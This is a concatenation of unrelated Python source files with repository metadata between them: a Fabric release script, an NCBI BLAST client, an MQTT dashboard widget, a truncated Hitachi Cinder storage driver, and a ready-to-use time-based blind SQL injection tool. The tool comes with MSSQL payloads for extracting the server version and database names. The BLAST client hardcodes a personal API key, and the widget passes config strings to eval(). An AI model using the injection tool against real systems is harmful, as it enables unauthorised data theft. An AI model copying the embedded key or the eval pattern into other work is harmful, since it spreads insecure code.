lcd(env.build_path): local("hg tag {version}".format(version=version)) def scm_pull(src, dst): """ Pull commits/patches/tags from ``src`` to ``dst`` """ with lcd(dst): local("hg pull {}".format(src)) @contextmanager def build(): """ Checkout and build a clean source distribution """ if 'build_path' in env: with lcd(env.build_path): yield return env.author = scm_get_repo_author() env.dev_path = scm_get_repo_root() env.build_path = mkdtemp() + '/build' scm_clone_repo(env.dev_path, env.build_path) try: with lcd(env.build_path): local("python bootstrap.py") local("./bin/buildout") local("./bin/python setup.py sdist") _check_release() yield finally: rmtree(env.build_path) def _check_changelog(version): """ Check that a changelog entry exists for the given version """ with open("%(build_path)s/CHANGELOG.rst" % env, 'r') as f: changes = f.read() # Check we've a changelog entry for the newly released version assert re.search( r'\b%s\b' % (re.escape(version),), changes, re.M ) is not None, "No changelog entry found for version %s" % (version,) def _readversion(): """ Parse and return the current version number """ with open("{build_path}/{version_file}".format(**env), 'r') as f: return version_re.search(f.read()).group(2) def _updateversion(version, for_=''): """\ Write the given version number and record a new commit """ with open("{build_path}/{version_file}".format(**env), 'r') as f: s = f.read() s = version_re.sub(r"__version__ = '{}'".format(version), s) with open("{build_path}/{version_file}".format(**env), 'w') as f: f.write(s) if for_: for_ = ' for ' + for_ with lcd(env.build_path): scm_record("Bumped version number" + for_, env.version_file) @task() def release(): """ Upload a new release to the PyPI. """ with build(): version = _readversion() assert version.endswith('dev') release_version = version.replace('dev', '') _check_changelog(release_version) _updateversion(release_version, 'release') scm_tag(release_version) local("cd %(build_path)s && ./bin/python setup.py sdist upload" % env) _updateversion( prompt("New development version number?", default=_increment_version(release_version) + 'dev'), 'dev') scm_pull(env.build_path, env.dev_path) def _check_release(): """ Check that the tests run and that the source dist can be installed cleanly in a virtualenv """ with lcd(env.build_path): local("tox") try: local("virtualenv test_virtualenv") local("./test_virtualenv/bin/pip install ./dist/*.tar.gz" % env) local("./test_virtualenv/bin/python -c'import %s'" % env.module_name) finally: local("rm -rf test_virtualenv") def _increment_version(version): """ Increment the least significant part of a version number string. >>> _increment_version("1.0.0") '1.0.1' """ version = map(int, version.split('.')) version = version[:-1] + [version[-1] + 1] version = '.'.join(map(str, version)) return version
27.005747
79
0.611407
79595cd71b068e067b15bc2263ba82d47b558a82
4,069
py
Python
scripts/blaster.py
ronit-arora/waksman-clone-analysis
2003d8ad51c375788879123352096fac6ac9ed0f
[ "MIT" ]
null
null
null
scripts/blaster.py
ronit-arora/waksman-clone-analysis
2003d8ad51c375788879123352096fac6ac9ed0f
[ "MIT" ]
null
null
null
scripts/blaster.py
ronit-arora/waksman-clone-analysis
2003d8ad51c375788879123352096fac6ac9ed0f
[ "MIT" ]
null
null
null
from lxml import html import requests import re import zipfile import io import json import datawait # My personal (Ronit Arora) api key - this may change over time if I replaced it, which could affect the script. api_key = '5319163d6a6ab2543a166a4b93e5116c1f08' # Global variables base_url = 'https://blast.ncbi.nlm.nih.gov/Blast.cgi?' def blaster(query, program, db): """Retrieves data from a BLAST search of a certain query Parameters ---------- query the input sequence program which type of BLAST program is being used (e.x. blastn, blastx, blastp) Returns ------- datadict dictionary (JSON) data of BLAST search """ # The URL to get initial RID from (but returns HTML content) PARAMS = {'CMD':'Put', 'PROGRAM':program, 'DATABASE':db, 'QUERY': query, 'API_KEY':api_key} # url = base_url + "CMD=Put&" + "PROGRAM=blastn&" "DATABASE=nr&" + "FORMAT_TYPE=JSON&" "QUERY=" + test_query # intro references an HTML object intro = requests.get(base_url, PARAMS) print(intro) # scrape through to find rid & wait time in the html object content rid, wait_time = query_info(intro) # Initial Information print("RID: " + rid) print("Wait Time: " + wait_time) datawait.rest(int(wait_time) + 10) # Check to make data is ready - if not, wait in intervals of 30 seconds checkstatus = isready(rid) print("STATUS: " + str(isready(rid))) while(not checkstatus): datawait.rest(60) checkstatus = isready(rid) print("STATUS: " + str(isready(rid))) # Rather than just a JSON file, NCBI sends a zip file containg the json file. # This involves retrieving the file output = requests.get(base_url, {'CMD': 'Get', 'RID': rid, 'API_KEY' : api_key, 'FORMAT_TYPE': 'JSON2'}) print(output) print(output.url) z = zipfile.ZipFile(io.BytesIO(output.content)) # Converting to json from bytes stream datadict = {} with z.open(rid + '_1.json') as myfile: datadict = json.loads(myfile.read()) return datadict def query_info(doc): """Gets initial Request ID and wait time. Parameters ---------- docs : HTTP object The object that contains the HTML content of the initial NCBI webpage Returns ------- rid The Request ID to retrieve search results on NCBI wait_time How much (estimated) time to wait before NCBI will provide data """ # Convert to HTML for easier scraping tree = html.fromstring(doc.content) # The path to the comment containing the rid and wait time - is a one-element-list # Note xpath found directly from NCBI site source code comment = tree.xpath('//*[@id="FormatForm"]/comment()[4]') # Get the comment in string form mystring = str(comment[0]) # Locating the indices of the strings 'RID' and 'RTOE', and then returning the indices following them (actual values) values = re.split('\W+', mystring) index_id = values.index('RID') index_time = values.index('RTOE') return values[index_id + 1], values[index_time + 1] def isready(rid): """Checks if data is ready to be sent Parameters ---------- rid The Request ID to retrieve search results on NCBI Returns ------- status If ready, returns true. Otherwise, False """ # Params for url PARAMS = {'CMD':'Get', 'RID':rid, 'API_KEY':api_key} # XPath for comment indicating status xpath_var = '//*[@id="qb"]/comment()' try: nana = requests.get(base_url, PARAMS) print(nana) tree = html.fromstring(nana.content) except: return False status_comment = tree.xpath(xpath_var) print(status_comment) # If it doesn't exist then it's automatically false if len(status_comment) == 0: return False # Getting string value of comment mystring = str(status_comment[0]) # Status is likely always Ready if it exists, but this is a second check to make sure # Break down comment to extract and return status values = re.split('\W+', mystring) index_status = values.index('Status') if(values[index_status + 1] == 'READY'): return True return False
25.917197
119
0.676825
79595d973d1c808130e228f82a0b0e2c03f721e6
10,053
py
Python
sql-scripts/binary.py
JithinPavithran/tools
62225671aaccd48c14b39f94bf94f0e70af60319
[ "MIT" ]
null
null
null
sql-scripts/binary.py
JithinPavithran/tools
62225671aaccd48c14b39f94bf94f0e70af60319
[ "MIT" ]
null
null
null
sql-scripts/binary.py
JithinPavithran/tools
62225671aaccd48c14b39f94bf94f0e70af60319
[ "MIT" ]
null
null
null
""" A script to do TIME BASED SQLi. -- Uses BINARY SEARCH to speed up the process. -- Can be used against vulnerable parameters in a POST request body. Note: If the wait time for success is too high, consider using straight.py straight.py does linear search. Linear search only require one truth response. Hence, if the true value requires long wait time, use straight.py ## Usage ``` usage: main.py [-h] [-u URL] [-d DATA_FILE] [-p PAYLOAD_FILE] [-m {int,char}] [-s STARTING_INDEX | --prefix PREFIX] [-e ENDING_INDEX] [-T THRESHOLD_TIME] [-V] [-t HEAT_WARNING] optional arguments: -h, --help show this help message and exit -u URL Target url -d DATA_FILE Request data file (POST request) -p PAYLOAD_FILE Injection payload file -m {int,char} Bruteforce mode (i=01..9, c=printable ascii, a=ab..z, A=AB..Z, l=alphanumeric) -s STARTING_INDEX Start Index for char type --prefix PREFIX Known starting of the value. This will override "-s" -e ENDING_INDEX Ending index for char type -T THRESHOLD_TIME Threshold time delay indicating success -V Re-validate after binary search (use this while retrieving info such as password) -t HEAT_WARNING Time delay indicating heat up warning. The system will wait for "Threshold time delay (T) - ``` ## How to use 1. Find the vulnerable end-point 2. Save the POST request body in request-body.txt 3. Replace the vulnerable parameter's value with <<$$inject$$>> 4. Find a working payload manually. For example: asd'; if (ascii(substring((select @@version),1,1))='M') waitfor delay '0:0:3'; select 'c <== If the database is MSSQL, the above payload will lead to a wait time of 3 seconds 5. Save the payload to payload.txt 6. Replace the bruteforce character with $$b$$ 7. Replace the bruteforce index with $$i$$ 8. Replace time delay value with $$T$$ 9. Now the above payload looks like: asd'; if (ascii(substring((select @@version),$$i$$,1))=$$b$$) waitfor delay '0:0:$$T$$'; select 'c 10. Start the attack using the following command ``` python3 main.py -u http://192.168.225.63:450/vulnerable-endpoint \ -d request-body.txt \ -p payload.txt \ -T 3.0 \ -t 2.0 \ --prefix Microsoft ``` ### What is the script doing? 1. The script will replace =$$b$$ with inequalities such as >M and <M to perform binary search. 2. The index ($$i$$) will be incremented to find next character. 3. $$T$$ is replaced with the THRESHOLD_TIME (-T). If the wait time is greater that this value, success is assumed. 4. If the time delay in the failure cases exceed HEAT_WARNING (-t), the script sleeps for a while to cool down the server. Note: HEAT_WARNING should be less than THRESHOLD_TIME 5. If prefix is given, the value is assumed to begin with the prefix, $$i$$ is adjusted accordingly. ## TIP: If you want to retrieve multiple values, first concatenate them and retrieve. For example, following payload concatenates names of databases with a delimiter `~` ``` asd'; DECLARE @Value VARCHAR(8000); SELECT @Value = COALESCE(@Value + '~', '') + name FROM sys.databases; set @Value = @Value + '~~~'; if (ascii(substring(@Value,$$i$$,1))=$$b$$) waitfor delay '0:0:$$T$$'; -- ``` This will retrieve something like ``` master~tempdb~model~msdb~appdb~~~ ``` OR use LIMIT or TOP to find values one by one """ import threading import requests import argparse import sys import time from urllib.parse import quote from termcolor import colored HEADERS = { 'Content-Type': 'application/x-www-form-urlencoded' } class Options: url = '' post_body = '' payload = '' mode = 'c' starting_index = 1 ending_index = 8000 threshold_time = 5 validate = False heat_warning = 3 ARGS = Options() VALUE = '' HOTTEST = 0 class CustomArgParser(argparse.ArgumentParser): def error(self, message): sys.stderr.write('error: %s\n' % message) self.print_help() sys.exit(2) @staticmethod def parse_input(): parser = CustomArgParser() parser.add_argument('-u', help='Target url', dest='url') parser.add_argument('-d', help='Request data file (POST request)', dest='data_file') parser.add_argument('-p', help='Injection payload file', dest='payload_file') parser.add_argument('-m', help='Bruteforce mode (i=01..9, c=printable ascii, a=ab..z, A=AB..Z, l=alphanumeric)', dest='mode', choices=['int', 'char'], default='c') start_group = parser.add_mutually_exclusive_group() start_group.add_argument('-s', help='Start Index for char type', dest='starting_index', type=int, default=1) start_group.add_argument('--prefix', help='Known starting of the value. ' 'This will override "-s" ', dest='prefix', default='') parser.add_argument('-e', help='Ending index for char type', dest='ending_index', type=int, default=8000) parser.add_argument('-T', help='Threshold time delay indicating success', dest='threshold_time', type=float, default=5.0) parser.add_argument('-V', help='Re-validate after binary search (use this while retrieving info such as' ' password', action='store_true', dest='validate') parser.add_argument('-t', help='Time delay indicating heat up warning. The system will wait for ' '"Threshold time delay (T) - t"', dest='heat_warning', type=float, default=3.0) global ARGS ARGS = parser.parse_args() try: with open(ARGS.data_file, 'r') as data_file: ARGS.post_body = data_file.read() with open(ARGS.payload_file, 'r') as payload_file: ARGS.payload = payload_file.read().replace(';\n', ';').replace('\n', ' ') global VALUE VALUE += ARGS.prefix if len(VALUE) > 0: ARGS.starting_index = len(VALUE) + 1 except Exception as e: parser.error("Input error") return ARGS def substitute_payload(brute, index, sign='<='): payload = ARGS.payload.replace('=$$b$$', sign+str(brute))\ .replace('$$i$$', str(index))\ .replace('$$T$$', str(ARGS.threshold_time)) print('[DEBUG] ' + payload) return ARGS.post_body.replace('<<$$inject$$>>', quote(payload)) def attempt(payload): global HOTTEST start = time.time() requests.post(ARGS.url, payload, headers=HEADERS) end = time.time() time.sleep(2) diff = end - start print('[DEBUG] ' + str(diff)) success = diff > ARGS.threshold_time heat = diff - ARGS.threshold_time if success else diff HOTTEST = max(HOTTEST, heat) if heat > ARGS.heat_warning: print('[INFO ] Cooling down for %d(s).....' % (heat - ARGS.heat_warning)) time.sleep(heat - ARGS.heat_warning) return success def equal_to(brute, index): print('[DEBUG] ') print(colored('[DEBUG] Validating %s(%d)' % (chr(brute), brute), 'blue')) payload = substitute_payload(brute, index, '!=') return not attempt(payload) def less_than_or_equal_to(brute, index): print('[DEBUG] ') print('[DEBUG] Binary searching') payload = substitute_payload(brute, index) return attempt(payload) def binary_search(index): low = { 'c': 32, 'i': ord('0'), 'a': ord('a'), 'A': ord('A'), 'l': ord('0') }[ARGS.mode] high = { 'c': 126, 'i': ord('9'), 'a': ord('z'), 'A': ord('Z'), 'l': ord('z') }[ARGS.mode] mid = 0 while low < high: mid = (high + low) // 2 print('[INFO ] %s[%c(%d) - %c(%d) - %c(%d)]' % (VALUE, chr(low), low, chr(mid), mid, chr(high), high)) if less_than_or_equal_to(mid, index): if mid == low: return low high = mid else: if mid == low: return high low = mid return ord('*') def retrieve(): global VALUE attempts = 0 errors = 0 for index in range(ARGS.starting_index, ARGS.ending_index): if VALUE.endswith('~~~'): print('[INFO ] Reached the end') break while True: print('') attempts += 1 value = chr(binary_search(index)) if (not ARGS.validate) or equal_to(ord(value), index): VALUE += value break else: errors += 1 print(colored('[INFO ] Errors: %d / attempts: %d' % (errors, attempts), 'red')) print(colored('[WARNING] Too hot! Cooling down for %f(s)' % ARGS.threshold_time, 'red')) time.sleep(ARGS.threshold_time) if attempts > 2 and errors / attempts > 0.5: print(colored('[INFO ] Hottest: %f | Error rate: %f' % (HOTTEST, errors / attempts), 'red')) ARGS.threshold_time += 0.5 errors = 0 attempts = 0 print(colored('[WARNING] Too many errors! Increased threshold time to %f(s)' % ARGS.threshold_time, 'red', None, ['bold'])) print('[INFO ] ------------------------------') print(colored('[INFO ] Errors: %d / attempts: %d' % (errors, attempts), 'cyan')) print(colored('[INFO ] Value till now: ' + VALUE, 'green')) print('[INFO ] ------------------------------') print('\n\n==================================') print(colored('Heat: (Warning, Highest, Threshold) - (%f, %f, %f)' % (ARGS.heat_warning, HOTTEST, ARGS.threshold_time), 'blue')) print(colored('Final Value: ' + VALUE, 'green', None, ['bold'])) print('==================================') def main(): CustomArgParser.parse_input() retrieve() if __name__ == '__main__': main()
37.233333
132
0.587486
79595ebf65fe8ff4e0d7581e0e00e84edf164c6e
1,281
py
Python
mqtt_panel/web/widget/value.py
joseph-tobin/mqtt-panel
df203af5bd5b7e0dd32be1cc5b9deea8400d102a
[ "MIT" ]
null
null
null
mqtt_panel/web/widget/value.py
joseph-tobin/mqtt-panel
df203af5bd5b7e0dd32be1cc5b9deea8400d102a
[ "MIT" ]
null
null
null
mqtt_panel/web/widget/value.py
joseph-tobin/mqtt-panel
df203af5bd5b7e0dd32be1cc5b9deea8400d102a
[ "MIT" ]
null
null
null
import logging from mqtt_panel.web.widget.widget import Widget class Value(Widget): widget_type = 'value' def __init__(self, *args, **kwargs): super(Value, self).__init__(*args, **kwargs) def open(self): self._mqtt.subscribe(self._c['subscribe'], self._on_mqtt) def _on_mqtt(self, payload, timestamp): try: txf = self._c.get('transform', None) if txf: txf = eval(txf) value = txf(payload) else: value = payload fmt = self._c.get('format', None) if fmt: value = fmt % value except Exception as ex: logging.warning('Ignored payload "%s" because "%s"', payload, ex) value = None self.set_value(value) def _blob(self): return { 'value': self.value } def _html(self, fh): color = self._c.get('color', None) if color: color = ' style="color:%s"' % color icon = self._c.get('icon', '') self._write_render(fh, '''\ <span class="material-icons"{color}>{icon}</span> <span class="value"{color}>{self.value}</span> ''', locals(), indent=4) Widget.register(Value)
25.117647
77
0.521468
79596032c59fac17c00e20b29265fa6dbb0d3754
30,587
py
Python
cinder/volume/drivers/hitachi/hbsd_common.py
Boye-Z/cinder
2a959e6645379842880373dd9aad4d5ff3b6fd02
[ "Apache-2.0" ]
1
2021-07-25T18:11:41.000Z
2021-07-25T18:11:41.000Z
cinder/volume/drivers/hitachi/hbsd_common.py
dFarui/cinder
b2922384054ddbd46e071fd07372a75a21d7f85d
[ "Apache-2.0" ]
null
null
null
cinder/volume/drivers/hitachi/hbsd_common.py
dFarui/cinder
b2922384054ddbd46e071fd07372a75a21d7f85d
[ "Apache-2.0" ]
null
null
null
# Copyright (C) 2020, Hitachi, Ltd. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. # """Common module for Hitachi HBSD Driver.""" import re from oslo_config import cfg from oslo_log import log as logging from oslo_utils import excutils from cinder import coordination from cinder import exception from cinder.volume import configuration from cinder.volume.drivers.hitachi import hbsd_utils as utils from cinder.volume import volume_utils VERSION = '2.0.0' _STR_VOLUME = 'volume' _STR_SNAPSHOT = 'snapshot' _INHERITED_VOLUME_OPTS = [ 'volume_backend_name', 'volume_driver', 'reserved_percentage', 'use_multipath_for_image_xfer', 'enforce_multipath_for_image_xfer', 'max_over_subscription_ratio', 'use_chap_auth', 'chap_username', 'chap_password', ] COMMON_VOLUME_OPTS = [ cfg.StrOpt( 'hitachi_storage_id', default=None, help='Product number of the storage system.'), cfg.StrOpt( 'hitachi_pool', default=None, help='Pool number or pool name of the DP pool.'), cfg.StrOpt( 'hitachi_snap_pool', default=None, help='Pool number or pool name of the snapshot pool.'), cfg.StrOpt( 'hitachi_ldev_range', default=None, help='Range of the LDEV numbers in the format of \'xxxx-yyyy\' that ' 'can be used by the driver. Values can be in decimal format ' '(e.g. 1000) or in colon-separated hexadecimal format ' '(e.g. 00:03:E8).'), cfg.ListOpt( 'hitachi_target_ports', default=[], help='IDs of the storage ports used to attach volumes to the ' 'controller node. To specify multiple ports, connect them by ' 'commas (e.g. CL1-A,CL2-A).'), cfg.ListOpt( 'hitachi_compute_target_ports', default=[], help='IDs of the storage ports used to attach volumes to compute ' 'nodes. To specify multiple ports, connect them by commas ' '(e.g. CL1-A,CL2-A).'), cfg.BoolOpt( 'hitachi_group_create', default=False, help='If True, the driver will create host groups or iSCSI targets on ' 'storage ports as needed.'), cfg.BoolOpt( 'hitachi_group_delete', default=False, help='If True, the driver will delete host groups or iSCSI targets on ' 'storage ports as needed.'), ] _REQUIRED_COMMON_OPTS = [ 'hitachi_storage_id', 'hitachi_pool', ] CONF = cfg.CONF CONF.register_opts(COMMON_VOLUME_OPTS, group=configuration.SHARED_CONF_GROUP) LOG = logging.getLogger(__name__) MSG = utils.HBSDMsg def _str2int(num): """Convert a string into an integer.""" if not num: return None if num.isdigit(): return int(num) if not re.match(r'[0-9a-fA-F][0-9a-fA-F]:[0-9a-fA-F]' + '[0-9a-fA-F]:[0-9a-fA-F][0-9a-fA-F]$', num): return None try: return int(num.replace(':', ''), 16) except ValueError: return None class HBSDCommon(): """Common class for Hitachi HBSD Driver.""" def __init__(self, conf, driverinfo, db): """Initialize instance variables.""" self.conf = conf self.db = db self.ctxt = None self.lock = { 'do_setup': 'do_setup', } self.driver_info = driverinfo self.storage_info = { 'protocol': driverinfo['proto'], 'pool_id': None, 'snap_pool_id': None, 'ldev_range': [], 'controller_ports': [], 'compute_ports': [], 'wwns': {}, 'portals': {}, } def create_ldev(self, size): """Create an LDEV and return its LDEV number.""" raise NotImplementedError() def modify_ldev_name(self, ldev, name): """Modify LDEV name.""" raise NotImplementedError() def create_volume(self, volume): """Create a volume and return its properties.""" try: ldev = self.create_ldev(volume['size']) except Exception: with excutils.save_and_reraise_exception(): utils.output_log(MSG.CREATE_LDEV_FAILED) self.modify_ldev_name(ldev, volume['id'].replace("-", "")) return { 'provider_location': str(ldev), } def get_ldev_info(self, keys, ldev, **kwargs): """Return a dictionary of LDEV-related items.""" raise NotImplementedError() def create_pair_on_storage(self, pvol, svol, is_snapshot=False): """Create a copy pair on the storage.""" raise NotImplementedError() def _copy_on_storage(self, pvol, size, is_snapshot=False): """Create a copy of the specified LDEV on the storage.""" ldev_info = self.get_ldev_info(['status', 'attributes'], pvol) if ldev_info['status'] != 'NML': msg = utils.output_log(MSG.INVALID_LDEV_STATUS_FOR_COPY, ldev=pvol) raise utils.HBSDError(msg) svol = self.create_ldev(size) try: self.create_pair_on_storage(pvol, svol, is_snapshot) except Exception: with excutils.save_and_reraise_exception(): try: self.delete_ldev(svol) except utils.HBSDError: utils.output_log(MSG.DELETE_LDEV_FAILED, ldev=svol) return svol def create_volume_from_src(self, volume, src, src_type): """Create a volume from a volume or snapshot and return its properties. """ ldev = utils.get_ldev(src) if ldev is None: msg = utils.output_log( MSG.INVALID_LDEV_FOR_VOLUME_COPY, type=src_type, id=src['id']) raise utils.HBSDError(msg) size = volume['size'] new_ldev = self._copy_on_storage(ldev, size) self.modify_ldev_name(new_ldev, volume['id'].replace("-", "")) return { 'provider_location': str(new_ldev), } def create_cloned_volume(self, volume, src_vref): """Create a clone of the specified volume and return its properties.""" return self.create_volume_from_src(volume, src_vref, _STR_VOLUME) def create_volume_from_snapshot(self, volume, snapshot): """Create a volume from a snapshot and return its properties.""" return self.create_volume_from_src(volume, snapshot, _STR_SNAPSHOT) def delete_pair_based_on_svol(self, pvol, svol_info): """Disconnect all volume pairs to which the specified S-VOL belongs.""" raise NotImplementedError() def get_pair_info(self, ldev): """Return volume pair info(LDEV number, pair status and pair type).""" raise NotImplementedError() def delete_pair(self, ldev): """Disconnect all volume pairs to which the specified LDEV belongs.""" pair_info = self.get_pair_info(ldev) if not pair_info: return if pair_info['pvol'] == ldev: utils.output_log( MSG.UNABLE_TO_DELETE_PAIR, pvol=pair_info['pvol']) raise utils.HBSDBusy() else: self.delete_pair_based_on_svol( pair_info['pvol'], pair_info['svol_info'][0]) def find_all_mapped_targets_from_storage(self, targets, ldev): """Add all port-gids connected with the LDEV to the list.""" raise NotImplementedError() def unmap_ldev(self, targets, ldev): """Delete the LUN between the specified LDEV and port-gid.""" raise NotImplementedError() def unmap_ldev_from_storage(self, ldev): """Delete the connection between the specified LDEV and servers.""" targets = { 'list': [], } self.find_all_mapped_targets_from_storage(targets, ldev) self.unmap_ldev(targets, ldev) def delete_ldev_from_storage(self, ldev): """Delete the specified LDEV from the storage.""" raise NotImplementedError() def delete_ldev(self, ldev): """Delete the specified LDEV.""" self.delete_pair(ldev) self.unmap_ldev_from_storage(ldev) self.delete_ldev_from_storage(ldev) def delete_volume(self, volume): """Delete the specified volume.""" ldev = utils.get_ldev(volume) if ldev is None: utils.output_log( MSG.INVALID_LDEV_FOR_DELETION, method='delete_volume', id=volume['id']) return try: self.delete_ldev(ldev) except utils.HBSDBusy: raise exception.VolumeIsBusy(volume_name=volume['name']) def create_snapshot(self, snapshot): """Create a snapshot from a volume and return its properties.""" src_vref = snapshot.volume ldev = utils.get_ldev(src_vref) if ldev is None: msg = utils.output_log( MSG.INVALID_LDEV_FOR_VOLUME_COPY, type='volume', id=src_vref['id']) raise utils.HBSDError(msg) size = snapshot['volume_size'] new_ldev = self._copy_on_storage(ldev, size, True) return { 'provider_location': str(new_ldev), } def delete_snapshot(self, snapshot): """Delete the specified snapshot.""" ldev = utils.get_ldev(snapshot) if ldev is None: utils.output_log( MSG.INVALID_LDEV_FOR_DELETION, method='delete_snapshot', id=snapshot['id']) return try: self.delete_ldev(ldev) except utils.HBSDBusy: raise exception.SnapshotIsBusy(snapshot_name=snapshot['name']) def get_pool_info(self): """Return the total and free capacity of the storage pool.""" raise NotImplementedError() def update_volume_stats(self): """Update properties, capabilities and current states of the driver.""" data = {} backend_name = (self.conf.safe_get('volume_backend_name') or self.driver_info['volume_backend_name']) data = { 'volume_backend_name': backend_name, 'vendor_name': 'Hitachi', 'driver_version': VERSION, 'storage_protocol': self.storage_info['protocol'], 'pools': [], } single_pool = {} single_pool.update(dict( pool_name=data['volume_backend_name'], reserved_percentage=self.conf.safe_get('reserved_percentage'), QoS_support=False, thick_provisioning_support=False, multiattach=True )) try: (total_capacity, free_capacity, provisioned_capacity) = self.get_pool_info() except utils.HBSDError: single_pool.update(dict( provisioned_capacity_gb=0, backend_state='down')) data["pools"].append(single_pool) LOG.debug("Updating volume status. (%s)", data) utils.output_log( MSG.POOL_INFO_RETRIEVAL_FAILED, pool=self.conf.hitachi_pool) return data single_pool.update(dict( total_capacity_gb=total_capacity, free_capacity_gb=free_capacity, provisioned_capacity_gb=provisioned_capacity, max_over_subscription_ratio=( volume_utils.get_max_over_subscription_ratio( self.conf.safe_get('max_over_subscription_ratio'), True)), thin_provisioning_support=True )) single_pool.update(dict(backend_state='up')) data["pools"].append(single_pool) LOG.debug("Updating volume status. (%s)", data) return data def discard_zero_page(self, volume): """Return the volume's no-data pages to the storage pool.""" raise NotImplementedError() def check_pair_svol(self, ldev): """Check if the specified LDEV is S-VOL in a copy pair.""" raise NotImplementedError() def extend_ldev(self, ldev, old_size, new_size): """Extend the specified LDEV to the specified new size.""" raise NotImplementedError() def extend_volume(self, volume, new_size): """Extend the specified volume to the specified size.""" ldev = utils.get_ldev(volume) if ldev is None: msg = utils.output_log(MSG.INVALID_LDEV_FOR_EXTENSION, volume_id=volume['id']) raise utils.HBSDError(msg) if self.check_pair_svol(ldev): msg = utils.output_log(MSG.INVALID_VOLUME_TYPE_FOR_EXTEND, volume_id=volume['id']) raise utils.HBSDError(msg) self.delete_pair(ldev) self.extend_ldev(ldev, volume['size'], new_size) def get_ldev_by_name(self, name): """Get the LDEV number from the given name.""" raise NotImplementedError() def check_ldev_manageability(self, ldev, existing_ref): """Check if the LDEV meets the criteria for being managed.""" raise NotImplementedError() def manage_existing(self, volume, existing_ref): """Return volume properties which Cinder needs to manage the volume.""" if 'source-name' in existing_ref: ldev = self.get_ldev_by_name( existing_ref.get('source-name').replace('-', '')) elif 'source-id' in existing_ref: ldev = _str2int(existing_ref.get('source-id')) self.check_ldev_manageability(ldev, existing_ref) self.modify_ldev_name(ldev, volume['id'].replace("-", "")) return { 'provider_location': str(ldev), } def get_ldev_size_in_gigabyte(self, ldev, existing_ref): """Return the size[GB] of the specified LDEV.""" raise NotImplementedError() def manage_existing_get_size(self, existing_ref): """Return the size[GB] of the specified volume.""" ldev = None if 'source-name' in existing_ref: ldev = self.get_ldev_by_name( existing_ref.get('source-name').replace("-", "")) elif 'source-id' in existing_ref: ldev = _str2int(existing_ref.get('source-id')) if ldev is None: msg = utils.output_log(MSG.INVALID_LDEV_FOR_MANAGE) raise exception.ManageExistingInvalidReference( existing_ref=existing_ref, reason=msg) return self.get_ldev_size_in_gigabyte(ldev, existing_ref) def unmanage(self, volume): """Prepare the volume for removing it from Cinder management.""" ldev = utils.get_ldev(volume) if ldev is None: utils.output_log(MSG.INVALID_LDEV_FOR_DELETION, method='unmanage', id=volume['id']) return if self.check_pair_svol(ldev): utils.output_log( MSG.INVALID_LDEV_TYPE_FOR_UNMANAGE, volume_id=volume['id'], volume_type=utils.NORMAL_LDEV_TYPE) raise exception.VolumeIsBusy(volume_name=volume['name']) try: self.delete_pair(ldev) except utils.HBSDBusy: raise exception.VolumeIsBusy(volume_name=volume['name']) def _range2list(self, param): """Analyze a 'xxx-xxx' string and return a list of two integers.""" values = [_str2int(value) for value in self.conf.safe_get(param).split('-')] if len(values) != 2 or None in values or values[0] > values[1]: msg = utils.output_log(MSG.INVALID_PARAMETER, param=param) raise utils.HBSDError(msg) return values def check_param_iscsi(self): """Check iSCSI-related parameter values and consistency among them.""" if self.conf.use_chap_auth: if not self.conf.chap_username: msg = utils.output_log(MSG.INVALID_PARAMETER, param='chap_username') raise utils.HBSDError(msg) if not self.conf.chap_password: msg = utils.output_log(MSG.INVALID_PARAMETER, param='chap_password') raise utils.HBSDError(msg) def check_param(self): """Check parameter values and consistency among them.""" utils.check_opt_value(self.conf, _INHERITED_VOLUME_OPTS) utils.check_opts(self.conf, COMMON_VOLUME_OPTS) utils.check_opts(self.conf, self.driver_info['volume_opts']) if self.conf.hitachi_ldev_range: self.storage_info['ldev_range'] = self._range2list( 'hitachi_ldev_range') if (not self.conf.hitachi_target_ports and not self.conf.hitachi_compute_target_ports): msg = utils.output_log( MSG.INVALID_PARAMETER, param='hitachi_target_ports or ' 'hitachi_compute_target_ports') raise utils.HBSDError(msg) if (self.conf.hitachi_group_delete and not self.conf.hitachi_group_create): msg = utils.output_log( MSG.INVALID_PARAMETER, param='hitachi_group_delete or ' 'hitachi_group_create') raise utils.HBSDError(msg) for opt in _REQUIRED_COMMON_OPTS: if not self.conf.safe_get(opt): msg = utils.output_log(MSG.INVALID_PARAMETER, param=opt) raise utils.HBSDError(msg) if self.storage_info['protocol'] == 'iSCSI': self.check_param_iscsi() def need_client_setup(self): """Check if the making of the communication client is necessary.""" raise NotImplementedError() def setup_client(self): """Initialize RestApiClient.""" pass def enter_keep_session(self): """Begin the keeping of the session.""" pass def check_pool_id(self): """Check the pool id of hitachi_pool and hitachi_snap_pool.""" raise NotImplementedError() def connect_storage(self): """Prepare for using the storage.""" self.check_pool_id() utils.output_log(MSG.SET_CONFIG_VALUE, object='DP Pool ID', value=self.storage_info['pool_id']) self.storage_info['controller_ports'] = [] self.storage_info['compute_ports'] = [] def find_targets_from_storage(self, targets, connector, target_ports): """Find mapped ports, memorize them and return unmapped port count.""" raise NotImplementedError() def get_hba_ids_from_connector(self, connector): """Return the HBA ID stored in the connector.""" if self.driver_info['hba_id'] in connector: return connector[self.driver_info['hba_id']] msg = utils.output_log(MSG.RESOURCE_NOT_FOUND, resource=self.driver_info['hba_id_type']) raise utils.HBSDError(msg) def create_target_to_storage(self, port, connector, hba_ids): """Create a host group or an iSCSI target on the specified port.""" raise NotImplementedError() def set_target_mode(self, port, gid): """Configure the target to meet the environment.""" raise NotImplementedError() def set_hba_ids(self, port, gid, hba_ids): """Connect all specified HBAs with the specified port.""" raise NotImplementedError() def delete_target_from_storage(self, port, gid): """Delete the host group or the iSCSI target from the port.""" raise NotImplementedError() def _create_target(self, targets, port, connector, hba_ids): """Create a host group or an iSCSI target on the storage port.""" target_name, gid = self.create_target_to_storage( port, connector, hba_ids) utils.output_log(MSG.OBJECT_CREATED, object='a target', details='port: %(port)s, gid: %(gid)s, target_name: ' '%(target)s' % {'port': port, 'gid': gid, 'target': target_name}) try: self.set_target_mode(port, gid) self.set_hba_ids(port, gid, hba_ids) except Exception: with excutils.save_and_reraise_exception(): self.delete_target_from_storage(port, gid) targets['info'][port] = True targets['list'].append((port, gid)) def create_mapping_targets(self, targets, connector): """Create server-storage connection for all specified storage ports.""" hba_ids = self.get_hba_ids_from_connector(connector) for port in 